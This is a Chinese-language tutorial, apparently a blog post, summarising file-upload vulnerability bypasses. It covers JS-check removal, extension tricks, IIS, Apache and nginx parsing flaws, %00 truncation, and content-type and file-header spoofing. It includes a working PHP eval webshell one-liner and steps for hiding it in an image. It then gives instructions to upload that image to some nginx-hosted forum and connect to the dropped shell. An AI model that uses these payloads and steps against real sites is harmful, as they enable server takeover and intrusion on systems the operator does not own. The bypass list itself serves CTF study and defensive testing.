导语

文件上传漏洞在各大ctf中很常见,在平时的攻防中也不可小觑,现在拿出来总结一下。

js验证绕过

方法一:
直接禁用js,万事大吉。
讲一下火狐浏览器禁用的方法:在地址栏输入 about:config回车
搜索 javascript.enabled 右键切换就可以了。用完了记得切换回来偶。

方法二:
查看元素,直接把js验证的函数删掉,不让他调用就可以了

方法三:
bp抓包改包,因为bp截的是js验证之后发到服务器的包,所以上传时一定要把不合法的后缀改成合法的,然后抓包改回来,改回来的目的是让文件的最终存储方式为你想要的。

方法四: 可能js只是检测了第一个点号后面的后缀,而忽略了我们可能加上去的第二个点号构造 1.jpg.php上传
附上一段检验js

function check(){
    var filename=document.getElementById("file");
    var str=filename.value.split(".");
    var ext=str[1];
    if(ext==='jpg'){
        return true;
    }else{
              alert("请上传一张JPG格式的图片!");
            return false;
         }
        return false;
}

服务器端文件后缀名检测

因为只有服务器这道卡,所以必须在服务器的解析上动手脚。

方法一: bp改后缀名大小写混合,利用windows服务器对大小写不敏感,用样可以解析。

方法二: bp改后缀,在最后加上空格,点号,下划线或者特殊后缀php5、php4啥的

方法三: bp改后缀,直接双写

方法四: 查找黑名单遗漏的依然能解析的后缀,比如.asa .cer .cdx

方法五: IIS6.0文件解析漏洞分为两种,主要利用第二个

1)只要存在一个以.asp或.asa结尾的文件夹,里面的文件不管是什么后缀都能作为asp解析.(这个用在上传后根据时间自动命名的情况,因为这种情况第二个漏洞用不了)

2)分号后面不被解析 改包为sp.asp;.jpg

方法六: apache 解析漏洞,利用apache从右到左解析后缀,碰见不认识的就再往前的特性,构造test.php.xyz

方法七: %00截断

这个分为两种类型,文件名截断和路径截断

1.文件名截断:

如果两次对文件后缀名的检测有差异的话,就会造成这样的漏洞,比如说第一次是检测最后一个点号后面的,发现是图片格式,满足条件。第二次把图片存储进去,%00起了作用,变成了php存进去了

2.文件路径截断

这种情况下抓包有一个/uploads文件夹,等会上传上去文件名会并在后面,也就是说上传的数据流会以uploads/后面跟的文件格式存储uploads/&filename 如果我们在uoloads/muma.php%00那么待会&filename会被截断,数据流最终会以muma.php格式存储在服务器上。
就会自动到了%00后面,读取的时候被截断

方法八: IIS7.0畸形解析漏洞

先合并一张PHP一句话图片马,合并方法:
①、DOS合并:copy 1.gif /b + 1.txt/a asp.gif
②、用edjpgcom,进行图片和一句话木马的合并,一句话代码为”<?fputs(fopen(“shell.PHP”,”w”),”<?eval($_POST[akt]);?>”)?>”
图片随便找一张.
一句话:<?php fputs(fopen(‘shell.php’,’w’),’<?php eval($_POST[akt])?>’);?>
然后找个nginx的站,先注册一个用户然后在论坛上传一张我们刚刚合并的图片一句话马。
找到图片地址,然后在地址后面加个shell.php,在浏览器中运行。
比如假设图片地址为 www.xxx.com/tupian/1.jpg
则执行地址为 www.xxx.com/tupian/1.jpg/shell.php
然后,会在目录下生成shell.php。比如: www.xxx.com/tupian/shell.php
shell.php就是我们的一句话地址。再拿一句话的客户端连接这个一句话地址就好。

方法九:当遇见随机命名时,除了利用文件夹解析漏洞外,还可以抓包,本来filepath后面的内容是upfile,我们改成upfile.asp,相当于创建了一个.asp的文件夹,或者在upfile/后加上xx.asp,这样上传的文件就是asp结尾的了。

方法十:conten-type 决定服务器将用什么方式去读取编码得到的文件,可以把php的content-type 改成 image/jpeg

服务器文件头检测

构造假的文件头
    GIF89a  
    <head>  
    <meta http-equiv = "refresh" content = "1; url=http://www.***.com/" />  
    </head>